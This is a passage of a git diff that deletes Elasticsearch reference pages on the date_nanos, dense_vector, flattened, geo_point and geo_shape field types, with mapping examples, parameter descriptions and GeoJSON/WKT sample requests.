-<5> Note that the `sort` values that are returned are all in
-nanoseconds-since-the-epoch.
-<6> Access the nanosecond part of the date in a script
-<7> Use doc value fields, which can be formatted in nanosecond
-resolution
-
-You can also specify multiple date formats separated by `||`. The
-same mapping parameters than with the `date` field can be used.
-
-[[date-nanos-limitations]]
-==== Limitations
-
-Aggregations are still on millisecond resolution, even when using a `date_nanos`
-field. This limitation also affects <<transforms,{transforms}>>.
diff --git a/docs/reference/mapping/types/dense-vector.asciidoc b/docs/reference/mapping/types/dense-vector.asciidoc
deleted file mode 100644
index bd8bf775092..00000000000
--- a/docs/reference/mapping/types/dense-vector.asciidoc
+++ /dev/null
@@ -1,54 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[dense-vector]]
-=== Dense vector field type
-++++
-<titleabbrev>Dense vector</titleabbrev>
-++++
-
-A `dense_vector` field stores dense vectors of float values.
-The maximum number of dimensions that can be in a vector should
-not exceed 2048. A `dense_vector` field is a single-valued field.
-
-These vectors can be used for <<vector-functions,document scoring>>.
-For example, a document score can represent a distance between
-a given query vector and the indexed document vector.
-
-You index a dense vector as an array of floats.
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "my_vector": {
-        "type": "dense_vector",
-        "dims": 3  <1>
-      },
-      "my_text" : {
-        "type" : "keyword"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "my_text" : "text1",
-  "my_vector" : [0.5, 10, 6]
-}
-
-PUT my-index-000001/_doc/2
-{
-  "my_text" : "text2",
-  "my_vector" : [-0.5, 10, 10]
-}
-
---------------------------------------------------
-
-<1> dims—the number of dimensions in the vector, required parameter.
-
-Internally, each document's dense vector is encoded as a binary
-doc value. Its size in bytes is equal to
-`4 * dims + 4`, where `dims`—the number of the vector's dimensions.
diff --git a/docs/reference/mapping/types/flattened.asciidoc b/docs/reference/mapping/types/flattened.asciidoc
deleted file mode 100644
index c5cd3fd2fe5..00000000000
--- a/docs/reference/mapping/types/flattened.asciidoc
+++ /dev/null
@@ -1,191 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-
-[[flattened]]
-=== Flattened field type
-++++
-<titleabbrev>Flattened</titleabbrev>
-++++
-
-By default, each subfield in an object is mapped and indexed separately. If
-the names or types of the subfields are not known in advance, then they are
-<<dynamic-mapping, mapped dynamically>>.
-
-The `flattened` type provides an alternative approach, where the entire
-object is mapped as a single field. Given an object, the `flattened`
-mapping will parse out its leaf values and index them into one field as
-keywords. The object's contents can then be searched through simple queries
-and aggregations.
-
-This data type can be useful for indexing objects with a large or unknown
-number of unique keys. Only one field mapping is created for the whole JSON
-object, which can help prevent a <<mapping-limit-settings, mappings explosion>>
-from having too many distinct field mappings.
-
-On the other hand, flattened object fields present a trade-off in terms of
-search functionality. Only basic queries are allowed, with no support for
-numeric range queries or highlighting. Further information on the limitations
-can be found in the <<supported-operations, Supported operations>> section.
-
-NOTE: The `flattened` mapping type should **not** be used for indexing all
-document content, as it treats all values as keywords and does not provide full
-search functionality. The default approach, where each subfield has its own
-entry in the mappings, works well in the majority of cases.
-
-An flattened object field can be created as follows:
-
-[source,console]
---------------------------------
-PUT bug_reports
-{
-  "mappings": {
-    "properties": {
-      "title": {
-        "type": "text"
-      },
-      "labels": {
-        "type": "flattened"
-      }
-    }
-  }
-}
-
-POST bug_reports/_doc/1
-{
-  "title": "Results are not sorted correctly.",
-  "labels": {
-    "priority": "urgent",
-    "release": ["v1.2.5", "v1.3.0"],
-    "timestamp": {
-      "created": 1541458026,
-      "closed": 1541457010
-    }
-  }
-}
---------------------------------
-// TESTSETUP
-
-During indexing, tokens are created for each leaf value in the JSON object. The
-values are indexed as string keywords, without analysis or special handling for
-numbers or dates.
-
-Querying the top-level `flattened` field searches all leaf values in the
-object:
-
-[source,console]
---------------------------------
-POST bug_reports/_search
-{
-  "query": {
-    "term": {"labels": "urgent"}
-  }
-}
---------------------------------
-
-To query on a specific key in the flattened object, object dot notation is used:
-
-[source,console]
---------------------------------
-POST bug_reports/_search
-{
-  "query": {
-    "term": {"labels.release": "v1.3.0"}
-  }
-}
---------------------------------
-
-[[supported-operations]]
-==== Supported operations
-
-Because of the similarities in the way values are indexed, `flattened`
-fields share much of the same mapping and search functionality as
-<<keyword, `keyword`>> fields.
-
-Currently, flattened object fields can be used with the following query types:
-
-- `term`, `terms`, and `terms_set`
-- `prefix`
-- `range`
-- `match` and `multi_match`
-- `query_string` and `simple_query_string`
-- `exists`
-
-When querying, it is not possible to refer to field keys using wildcards, as in
-`{ "term": {"labels.time*": 1541457010}}`. Note that all queries, including
-`range`, treat the values as string keywords. Highlighting is not supported on
-`flattened` fields.
-
-It is possible to sort on an flattened object field, as well as perform simple
-keyword-style aggregations such as `terms`. As with queries, there is no
-special support for numerics -- all values in the JSON object are treated as
-keywords. When sorting, this implies that values are compared
-lexicographically.
-
-Flattened object fields currently cannot be stored. It is not possible to
-specify the <<mapping-store, `store`>> parameter in the mapping.
-
-[[flattened-params]]
-==== Parameters for flattened object fields
-
-The following mapping parameters are accepted:
-
-[horizontal]
-
-<<mapping-boost,`boost`>>::
-
-    Mapping field-level query time boosting. Accepts a floating point number,
-    defaults to `1.0`.
-
-`depth_limit`::
-
-    The maximum allowed depth of the flattened object field, in terms of nested
-    inner objects. If a flattened object field exceeds this limit, then an
-    error will be thrown. Defaults to `20`. Note that `depth_limit` can be
-    updated dynamically through the <<indices-put-mapping, put mapping>> API.
-
-<<doc-values,`doc_values`>>::
-
-    Should the field be stored on disk in a column-stride fashion, so that it
-    can later be used for sorting, aggregations, or scripting? Accepts `true`
-    (default) or `false`.
-
-<<eager-global-ordinals,`eager_global_ordinals`>>::
-
-    Should global ordinals be loaded eagerly on refresh? Accepts `true` or
-    `false` (default). Enabling this is a good idea on fields that are
-    frequently used for terms aggregations.
-
-<<ignore-above,`ignore_above`>>::
-
-    Leaf values longer than this limit will not be indexed. By default, there
-    is no limit and all values will be indexed. Note that this limit applies
-    to the leaf values within the flattened object field, and not the length of
-    the entire field.
-
-<<mapping-index,`index`>>::
-
-    Determines if the field should be searchable. Accepts `true` (default) or
-    `false`.
-
-<<index-options,`index_options`>>::
-
-    What information should be stored in the index for scoring purposes.
-    Defaults to `docs` but can also be set to `freqs` to take term frequency
-    into account when computing scores.
-
-<<null-value,`null_value`>>::
-
-    A string value which is substituted for any explicit `null` values within
-    the flattened object field. Defaults to `null`, which means null sields are
-    treated as if it were missing.
-
-<<similarity,`similarity`>>::
-
-    Which scoring algorithm or _similarity_ should be used. Defaults
-    to `BM25`.
-
-`split_queries_on_whitespace`::
-
-    Whether <<full-text-queries,full text queries>> should split the input on
-    whitespace when building a query for this field. Accepts `true` or `false`
-    (default).
diff --git a/docs/reference/mapping/types/geo-point.asciidoc b/docs/reference/mapping/types/geo-point.asciidoc
deleted file mode 100644
index 11585db8830..00000000000
--- a/docs/reference/mapping/types/geo-point.asciidoc
+++ /dev/null
@@ -1,158 +0,0 @@
-[[geo-point]]
-=== Geo-point field type
-++++
-<titleabbrev>Geo-point</titleabbrev>
-++++
-
-Fields of type `geo_point` accept latitude-longitude pairs, which can be used:
-
-* to find geo-points within a <<query-dsl-geo-bounding-box-query,bounding box>>,
-  within a certain <<query-dsl-geo-distance-query,distance>> of a central point,
-  or within a <<query-dsl-geo-polygon-query,polygon>> or within a <<query-dsl-geo-shape-query,geo_shape query>>.
-* to aggregate documents <<search-aggregations-bucket-geohashgrid-aggregation,geographically>>
-  or by <<search-aggregations-bucket-geodistance-aggregation,distance>> from a central point.
-* to integrate distance into a document's <<query-dsl-function-score-query,relevance score>>.
-* to <<geo-sorting,sort>> documents by distance.
-
-There are five ways that a geo-point may be specified, as demonstrated below:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_point"
-      }
-    }
-  }
-}
-
-PUT my-index-000001/_doc/1
-{
-  "text": "Geo-point as an object",
-  "location": { <1>
-    "lat": 41.12,
-    "lon": -71.34
-  }
-}
-
-PUT my-index-000001/_doc/2
-{
-  "text": "Geo-point as a string",
-  "location": "41.12,-71.34" <2>
-}
-
-PUT my-index-000001/_doc/3
-{
-  "text": "Geo-point as a geohash",
-  "location": "drm3btev3e86" <3>
-}
-
-PUT my-index-000001/_doc/4
-{
-  "text": "Geo-point as an array",
-  "location": [ -71.34, 41.12 ] <4>
-}
-
-PUT my-index-000001/_doc/5
-{
-  "text": "Geo-point as a WKT POINT primitive",
-  "location" : "POINT (-71.34 41.12)" <5>
-}
-
-GET my-index-000001/_search
-{
-  "query": {
-    "geo_bounding_box": { <6>
-      "location": {
-        "top_left": {
-          "lat": 42,
-          "lon": -72
-        },
-        "bottom_right": {
-          "lat": 40,
-          "lon": -74
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> Geo-point expressed as an object, with `lat` and `lon` keys.
-<2> Geo-point expressed as a string with the format: `"lat,lon"`.
-<3> Geo-point expressed as a geohash.
-<4> Geo-point expressed as an array with the format: [ `lon`, `lat`]
-<5> Geo-point expressed as a https://docs.opengeospatial.org/is/12-063r5/12-063r5.html[Well-Known Text]
-POINT with the format: `"POINT(lon lat)"`
-<6> A geo-bounding box query which finds all geo-points that fall inside the box.
-
-[IMPORTANT]
-.Geo-points expressed as an array or string
-==================================================
-
-Please note that string geo-points are ordered as `lat,lon`, while array
-geo-points are ordered as the reverse: `lon,lat`.
-
-Originally, `lat,lon` was used for both array and string, but the array
-format was changed early on to conform to the format used by GeoJSON.
-
-==================================================
-
-[NOTE]
-A point can be expressed as a {wikipedia}/Geohash[geohash].
-Geohashes are {wikipedia}/Base32[base32] encoded strings of
-the bits of the latitude and longitude interleaved. Each character in a geohash
-adds additional 5 bits to the precision. So the longer the hash, the more
-precise it is. For the indexing purposed geohashs are translated into
-latitude-longitude pairs. During this process only first 12 characters are
-used, so specifying more than 12 characters in a geohash doesn't increase the
-precision. The 12 characters provide 60 bits, which should reduce a possible
-error to less than 2cm.
-
-[[geo-point-params]]
-==== Parameters for `geo_point` fields
-
-The following parameters are accepted by `geo_point` fields:
-
-[horizontal]
-
-<<ignore-malformed,`ignore_malformed`>>::
-
-    If `true`, malformed geo-points are ignored. If `false` (default),
-    malformed geo-points throw an exception and reject the whole document.
-
-`ignore_z_value`::
-
-    If `true` (default) three dimension points will be accepted (stored in source)
-    but only latitude and longitude values will be indexed; the third dimension is
-    ignored. If `false`, geo-points containing any more than latitude and longitude
-    (two dimensions) values throw an exception and reject the whole document.
-
-<<null-value,`null_value`>>::
-
-    Accepts an geopoint value which is substituted for any explicit `null` values.
-    Defaults to `null`, which means the field is treated as missing.
-
-==== Using geo-points in scripts
-
-When accessing the value of a geo-point in a script, the value is returned as
-a `GeoPoint` object, which allows access to the `.lat` and `.lon` values
-respectively:
-
-[source,painless]
---------------------------------------------------
-def geopoint = doc['location'].value;
-def lat      = geopoint.lat;
-def lon      = geopoint.lon;
---------------------------------------------------
-
-For performance reasons, it is better to access the lat/lon values directly:
-
-[source,painless]
---------------------------------------------------
-def lat      = doc['location'].lat;
-def lon      = doc['location'].lon;
---------------------------------------------------
diff --git a/docs/reference/mapping/types/geo-shape.asciidoc b/docs/reference/mapping/types/geo-shape.asciidoc
deleted file mode 100644
index 7945c4435a4..00000000000
--- a/docs/reference/mapping/types/geo-shape.asciidoc
+++ /dev/null
@@ -1,674 +0,0 @@
-[[geo-shape]]
-=== Geo-shape field type
-++++
-<titleabbrev>Geo-shape</titleabbrev>
-++++
-
-The `geo_shape` data type facilitates the indexing of and searching
-with arbitrary geo shapes such as rectangles and polygons. It should be
-used when either the data being indexed or the queries being executed
-contain shapes other than just points.
-
-You can query documents using this type using
-<<query-dsl-geo-shape-query,geo_shape Query>>.
-
-[[geo-shape-mapping-options]]
-[discrete]
-==== Mapping Options
-
-The geo_shape mapping maps geo_json geometry objects to the geo_shape
-type. To enable it, users must explicitly map fields to the geo_shape
-type.
-
-[cols="<,<,<",options="header",]
-|=======================================================================
-|Option |Description| Default
-
-|`tree` |deprecated[6.6, PrefixTrees no longer used] Name of the PrefixTree
-implementation to be used: `geohash` for GeohashPrefixTree and `quadtree`
-for QuadPrefixTree. Note: This parameter is only relevant for `term` and
-`recursive` strategies.
-| `quadtree`
-
-|`precision` |deprecated[6.6, PrefixTrees no longer used] This parameter may
-be used instead of `tree_levels` to set an appropriate value for the
-`tree_levels` parameter. The value specifies the desired precision and
-Elasticsearch will calculate the best tree_levels value to honor this
-precision. The value should be a number followed by an optional distance
-unit. Valid distance units include: `in`, `inch`, `yd`, `yard`, `mi`,
-`miles`, `km`, `kilometers`, `m`,`meters`, `cm`,`centimeters`, `mm`,
-`millimeters`. Note: This parameter is only relevant for `term` and
-`recursive` strategies.
-| `50m`
-
-|`tree_levels` |deprecated[6.6, PrefixTrees no longer used] Maximum number
-of layers to be used by the PrefixTree. This can be used to control the
-precision of shape representations andtherefore how many terms are
-indexed. Defaults to the default value of the chosen PrefixTree
-implementation. Since this parameter requires a certain level of
-understanding of the underlying implementation, users may use the
-`precision` parameter instead. However, Elasticsearch only uses the
-tree_levels parameter internally and this is what is returned via the
-mapping API even if you use the precision parameter. Note: This parameter
-is only relevant for `term` and `recursive` strategies.
-| various
-
-|`strategy` |deprecated[6.6, PrefixTrees no longer used] The strategy
-parameter defines the approach for how to represent shapes at indexing
-and search time. It also influences the capabilities available so it
-is recommended to let Elasticsearch set this parameter automatically.
-There are two strategies available: `recursive`, and `term`.
-Recursive and Term strategies are deprecated and will be removed in a
-future version. While they are still available, the Term strategy
-supports point types only (the `points_only` parameter will be
-automatically set to true) while Recursive strategy supports all
-shape types. (IMPORTANT: see <<prefix-trees, Prefix trees>> for more
-detailed information about these strategies)
-| `recursive`
-
-|`distance_error_pct` |deprecated[6.6, PrefixTrees no longer used] Used as a
-hint to the PrefixTree about how precise it should be. Defaults to 0.025 (2.5%)
-with 0.5 as the maximum supported value. PERFORMANCE NOTE: This value will
-default to 0 if a `precision` or `tree_level` definition is explicitly defined.
-This guarantees spatial precision at the level defined in the mapping. This can
-lead to significant memory usage for high resolution shapes with low error
-(e.g., large shapes at 1m with < 0.001 error). To improve indexing performance
-(at the cost of query accuracy) explicitly define `tree_level` or `precision`
-along with a reasonable `distance_error_pct`, noting that large shapes will have
-greater false positives. Note: This parameter is only relevant for `term` and
-`recursive` strategies.
-| `0.025`
-
-|`orientation` 
-a|Optional. Vertex order for the shape's coordinates list.
-
-This parameter sets and returns only a `RIGHT` (counterclockwise) or `LEFT`
-(clockwise) value. However, you can specify either value in multiple ways.
-
-To set `RIGHT`, use one of the following arguments or its uppercase
-variant:
-
-* `right`
-* `counterclockwise`
-* `ccw`
-
-To set `LEFT`, use one of the following arguments or its uppercase
-variant:
-
-* `left`
-* `clockwise`
-* `cw`
-
-Defaults to `RIGHT` to comply with https://www.ogc.org/docs/is[OGC standards].
-OGC standards define outer ring vertices in counterclockwise order with inner
-ring (hole) vertices in clockwise order.
-
-Individual GeoJSON or WKT documents can override this parameter.
-| `RIGHT`
-
-|`points_only` |deprecated[6.6, PrefixTrees no longer used] Setting this option to
-`true` (defaults to `false`) configures the `geo_shape` field type for point
-shapes only (NOTE: Multi-Points are not yet supported). This optimizes index and
-search performance for the `geohash` and `quadtree` when it is known that only points
-will be indexed. At present geo_shape queries can not be executed on `geo_point`
-field types. This option bridges the gap by improving point performance on a
-`geo_shape` field so that `geo_shape` queries are optimal on a point only field.
-| `false`
-
-|`ignore_malformed` |If true, malformed GeoJSON or WKT shapes are ignored. If
-false (default), malformed GeoJSON and WKT shapes throw an exception and reject the
-entire document.
-| `false`
-
-|`ignore_z_value` |If `true` (default) three dimension points will be accepted (stored in source)
-but only latitude and longitude values will be indexed; the third dimension is ignored. If `false`,
-geo-points containing any more than latitude and longitude (two dimensions) values throw an exception
-and reject the whole document.
-| `true`
-
-|`coerce` |If `true` unclosed linear rings in polygons will be automatically closed.
-| `false`
-
-|=======================================================================
-
-
-[[geoshape-indexing-approach]]
-[discrete]
-==== Indexing approach
-GeoShape types are indexed by decomposing the shape into a triangular mesh and
-indexing each triangle as a 7 dimension point in a BKD tree. This provides
-near perfect spatial resolution (down to 1e-7 decimal degree precision) since all
-spatial relations are computed using an encoded vector representation of the
-original shape instead of a raster-grid representation as used by the
-<<prefix-trees>> indexing approach. Performance of the tessellator primarily
-depends on the number of vertices that define the polygon/multi-polygon. While
-this is the default indexing technique prefix trees can still be used by setting
-the `tree` or `strategy` parameters according to the appropriate
-<<geo-shape-mapping-options>>. Note that these parameters are now deprecated
-and will be removed in a future version.
-
-*IMPORTANT NOTES*
-
-`CONTAINS` relation query - when using the new default vector indexing strategy, `geo_shape`
-queries with `relation` defined as `contains` are supported for indices created with
-ElasticSearch 7.5.0 or higher.
-
-
-[[prefix-trees]]
-[discrete]
-==== Prefix trees
-
-deprecated[6.6, PrefixTrees no longer used] To efficiently represent shapes in
-an inverted index, Shapes are converted into a series of hashes representing
-grid squares (commonly referred to as "rasters") using implementations of a
-PrefixTree. The tree notion comes from the fact that the PrefixTree uses multiple
-grid layers, each with an increasing level of precision to represent the Earth.
-This can be thought of as increasing the level of detail of a map or image at higher
-zoom levels. Since this approach causes precision issues with indexed shape, it has
-been deprecated in favor of a vector indexing approach that indexes the shapes as a
-triangular mesh (see <<geoshape-indexing-approach>>).
-
-Multiple PrefixTree implementations are provided:
-
-* GeohashPrefixTree - Uses
-{wikipedia}/Geohash[geohashes] for grid squares.
-Geohashes are base32 encoded strings of the bits of the latitude and
-longitude interleaved. So the longer the hash, the more precise it is.
-Each character added to the geohash represents another tree level and
-adds 5 bits of precision to the geohash. A geohash represents a
-rectangular area and has 32 sub rectangles. The maximum number of levels
-in Elasticsearch is 24; the default is 9.
-* QuadPrefixTree - Uses a
-{wikipedia}/Quadtree[quadtree] for grid squares.
-Similar to geohash, quad trees interleave the bits of the latitude and
-longitude the resulting hash is a bit set. A tree level in a quad tree
-represents 2 bits in this bit set, one for each coordinate. The maximum
-number of levels for the quad trees in Elasticsearch is 29; the default is 21.
-
-[[spatial-strategy]]
-[discrete]
-===== Spatial strategies
-deprecated[6.6, PrefixTrees no longer used]  The indexing implementation
-selected relies on a  SpatialStrategy for choosing how to decompose the shapes
-(either as grid  squares or a tessellated triangular mesh). Each strategy
-answers the following:
-
-* What type of Shapes can be indexed?
-* What types of Query Operations and Shapes can be used?
-* Does it support more than one Shape per field?
-
-The following Strategy implementations (with corresponding capabilities)
-are provided:
-
-[cols="<,<,<,<",options="header",]
-|=======================================================================
-|Strategy |Supported Shapes |Supported Queries |Multiple Shapes
-
-|`recursive`  |<<input-structure, All>> |`INTERSECTS`, `DISJOINT`, `WITHIN`, `CONTAINS` |Yes
-|`term` |<<geo-point-type, Points>> |`INTERSECTS` |Yes
-
-|=======================================================================
-
-[discrete]
-===== Accuracy
-
-`Recursive` and `Term` strategies do not provide 100% accuracy and depending on
-how they are configured it may return some false positives for `INTERSECTS`,
-`WITHIN` and `CONTAINS` queries, and some false negatives for `DISJOINT` queries.
-To mitigate this, it is important to select an appropriate value for the tree_levels
-parameter and to adjust expectations accordingly. For example, a point may be near
-the border of a particular grid cell and may thus not match a query that only matches
-the cell right next to it -- even though the shape is very close to the point.
-
-[discrete]
-===== Example
-
-[source,console]
---------------------------------------------------
-PUT /example
-{
-  "mappings": {
-    "properties": {
-      "location": {
-        "type": "geo_shape"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTSETUP
-
-This mapping definition maps the location field to the geo_shape
-type using the default vector implementation. It provides
-approximately 1e-7 decimal degree precision.
-
-[discrete]
-===== Performance considerations with Prefix Trees
-
-deprecated[6.6, PrefixTrees no longer used] With prefix trees,
-Elasticsearch uses the paths in the tree as terms in the inverted index
-and in queries. The higher the level (and thus the precision), the more
-terms are generated. Of course, calculating the terms, keeping them in
-memory, and storing them on disk all have a price. Especially with higher
-tree levels, indices can become extremely large even with a modest amount
-of data. Additionally, the size of the features also matters. Big, complex
-polygons can take up a lot of space at higher tree levels. Which setting
-is right depends on the use case. Generally one trades off accuracy against
-index size and query performance.
-
-The defaults in Elasticsearch for both implementations are a compromise
-between index size and a reasonable level of precision of 50m at the
-equator. This allows for indexing tens of millions of shapes without
-overly bloating the resulting index too much relative to the input size.
-
-[NOTE]
-Geo-shape queries on geo-shapes implemented with PrefixTrees will not be executed if
-<<query-dsl-allow-expensive-queries, `search.allow_expensive_queries`>> is set to false.
-
-[[input-structure]]
-[discrete]
-==== Input Structure
-
-Shapes can be represented using either the http://geojson.org[GeoJSON]
-or https://docs.opengeospatial.org/is/12-063r5/12-063r5.html[Well-Known Text]
-(WKT) format. The following table provides a mapping of GeoJSON and WKT
-to Elasticsearch types:
-
-[cols="<,<,<,<",options="header",]
-|=======================================================================
-|GeoJSON Type |WKT Type |Elasticsearch Type |Description
-
-|`Point` |`POINT` |`point` |A single geographic coordinate. Note: Elasticsearch uses WGS-84 coordinates only.
-|`LineString` |`LINESTRING` |`linestring` |An arbitrary line given two or more points.
-|`Polygon` |`POLYGON` |`polygon` |A _closed_ polygon whose first and last point
-must match, thus requiring `n + 1` vertices to create an `n`-sided
-polygon and a minimum of `4` vertices.
-|`MultiPoint` |`MULTIPOINT` |`multipoint` |An array of unconnected, but likely related
-points.
-|`MultiLineString` |`MULTILINESTRING` |`multilinestring` |An array of separate linestrings.
-|`MultiPolygon` |`MULTIPOLYGON` |`multipolygon` |An array of separate polygons.
-|`GeometryCollection` |`GEOMETRYCOLLECTION` |`geometrycollection` | A GeoJSON shape similar to the
-`multi*` shapes except that multiple types can coexist (e.g., a Point
-and a LineString).
-|`N/A` |`BBOX` |`envelope` |A bounding rectangle, or envelope, specified by
-specifying only the top left and bottom right points.
-|`N/A` |`N/A` |`circle` |A circle specified by a center point and radius with
-units, which default to `METERS`.
-|=======================================================================
-
-[NOTE]
-=============================================
-For all types, both the inner `type` and `coordinates` fields are
-required.
-
-In GeoJSON and WKT, and therefore Elasticsearch, the correct *coordinate
-order is longitude, latitude (X, Y)* within coordinate arrays. This
-differs from many Geospatial APIs (e.g., Google Maps) that generally
-use the colloquial latitude, longitude (Y, X).
-=============================================
-
-[[geo-point-type]]
-[discrete]
-===== http://geojson.org/geojson-spec.html#id2[Point]
-
-A point is a single geographic coordinate, such as the location of a
-building or the current position given by a smartphone's Geolocation
-API. The following is an example of a point in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "point",
-    "coordinates" : [-77.03653, 38.897676]
-  }
-}
---------------------------------------------------
-
-The following is an example of a point in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POINT (-77.03653 38.897676)"
-}
---------------------------------------------------
-
-[discrete]
-[[geo-linestring]]
-===== http://geojson.org/geojson-spec.html#id3[LineString]
-
-A `linestring` defined by an array of two or more positions. By
-specifying only two points, the `linestring` will represent a straight
-line.  Specifying more than two points creates an arbitrary path. The
-following is an example of a LineString in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "linestring",
-    "coordinates" : [[-77.03653, 38.897676], [-77.009051, 38.889939]]
-  }
-}
---------------------------------------------------
-
-The following is an example of a LineString in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "LINESTRING (-77.03653 38.897676, -77.009051 38.889939)"
-}
---------------------------------------------------
-
-The above `linestring` would draw a straight line starting at the White
-House to the US Capitol Building.
-
-[discrete]
-[[geo-polygon]]
-===== http://geojson.org/geojson-spec.html#id4[Polygon]
-
-A polygon is defined by a list of a list of points. The first and last
-points in each (outer) list must be the same (the polygon must be
-closed). The following is an example of a Polygon in GeoJSON.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "coordinates" : [
-      [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a Polygon in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POLYGON ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0))"
-}
---------------------------------------------------
-
-The first array represents the outer boundary of the polygon, the other
-arrays represent the interior shapes ("holes"). The following is a GeoJSON example
-of a polygon with a hole:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "coordinates" : [
-      [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0] ],
-      [ [100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8], [100.2, 0.2] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a Polygon with a hole in WKT:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "POLYGON ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8, 100.2 0.2))"
-}
---------------------------------------------------
-
-*IMPORTANT NOTE:* WKT does not enforce a specific order for vertices thus
-ambiguous polygons around the dateline and poles are possible.
-https://tools.ietf.org/html/rfc7946#section-3.1.6[GeoJSON] mandates that the
-outer polygon must be counterclockwise and interior shapes must be clockwise,
-which agrees with the Open Geospatial Consortium (OGC)
-https://www.opengeospatial.org/standards/sfa[Simple Feature Access]
-specification for vertex ordering.
-
-Elasticsearch accepts both clockwise and counterclockwise polygons if they
-appear not to cross the dateline (i.e. they cross less than 180° of longitude),
-but for polygons that do cross the dateline (or for other polygons wider than
-180°) Elasticsearch requires the vertex ordering to comply with the OGC and
-GeoJSON specifications. Otherwise, an unintended polygon may be created and
-unexpected query/filter results will be returned.
-
-The following provides an example of an ambiguous polygon.  Elasticsearch will
-apply the GeoJSON standard to eliminate ambiguity resulting in a polygon that
-crosses the dateline.
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "coordinates" : [
-      [ [-177.0, 10.0], [176.0, 15.0], [172.0, 0.0], [176.0, -15.0], [-177.0, -10.0], [-177.0, 10.0] ],
-      [ [178.2, 8.2], [-178.8, 8.2], [-180.8, -8.8], [178.2, 8.8] ]
-    ]
-  }
-}
---------------------------------------------------
-// TEST[catch:/mapper_parsing_exception/]
-
-An `orientation` parameter can be defined when setting the geo_shape mapping (see <<geo-shape-mapping-options>>). This will define vertex
-order for the coordinate list on the mapped geo_shape field. It can also be overridden on each document.  The following is an example for
-overriding the orientation on a document:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "polygon",
-    "orientation" : "clockwise",
-    "coordinates" : [
-      [ [100.0, 0.0], [100.0, 1.0], [101.0, 1.0], [101.0, 0.0], [100.0, 0.0] ]
-    ]
-  }
-}
---------------------------------------------------
-
-[discrete]
-[[geo-multipoint]]
-===== http://geojson.org/geojson-spec.html#id5[MultiPoint]
-
-The following is an example of a list of geojson points:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multipoint",
-    "coordinates" : [
-      [102.0, 2.0], [103.0, 2.0]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT points:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTIPOINT (102.0 2.0, 103.0 2.0)"
-}
---------------------------------------------------
-
-[discrete]
-[[geo-multilinestring]]
-===== http://geojson.org/geojson-spec.html#id6[MultiLineString]
-
-The following is an example of a list of geojson linestrings:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multilinestring",
-    "coordinates" : [
-      [ [102.0, 2.0], [103.0, 2.0], [103.0, 3.0], [102.0, 3.0] ],
-      [ [100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0] ],
-      [ [100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT linestrings:
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTILINESTRING ((102.0 2.0, 103.0 2.0, 103.0 3.0, 102.0 3.0), (100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8))"
-}
---------------------------------------------------
-
-[discrete]
-[[geo-multipolygon]]
-===== http://geojson.org/geojson-spec.html#id7[MultiPolygon]
-
-The following is an example of a list of geojson polygons (second polygon contains a hole):
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : {
-    "type" : "multipolygon",
-    "coordinates" : [
-      [ [[102.0, 2.0], [103.0, 2.0], [103.0, 3.0], [102.0, 3.0], [102.0, 2.0]] ],
-      [ [[100.0, 0.0], [101.0, 0.0], [101.0, 1.0], [100.0, 1.0], [100.0, 0.0]],
-        [[100.2, 0.2], [100.8, 0.2], [100.8, 0.8], [100.2, 0.8], [100.2, 0.2]] ]
-    ]
-  }
-}
---------------------------------------------------
-
-The following is an example of a list of WKT polygons (second polygon contains a hole):
-
-[source,console]
---------------------------------------------------
-POST /example/_doc
-{
-  "location" : "MULTIPOLYGON (((102.0 2.0, 103.0 2.0, 103.0 3.0, 102.0 3.0, 102.0 2.0)), ((100.0 0.0, 101.0 0.0, 101.0 1.0, 100.0 1.0, 100.0 0.0), (100.2 0.2, 100.8 0.2, 100.8 0.8, 100.2 0.8, 100.2 0.2)))"
-}
---------------------------------------------------
-
-[discrete]
-[[geo-geometry_collection]]
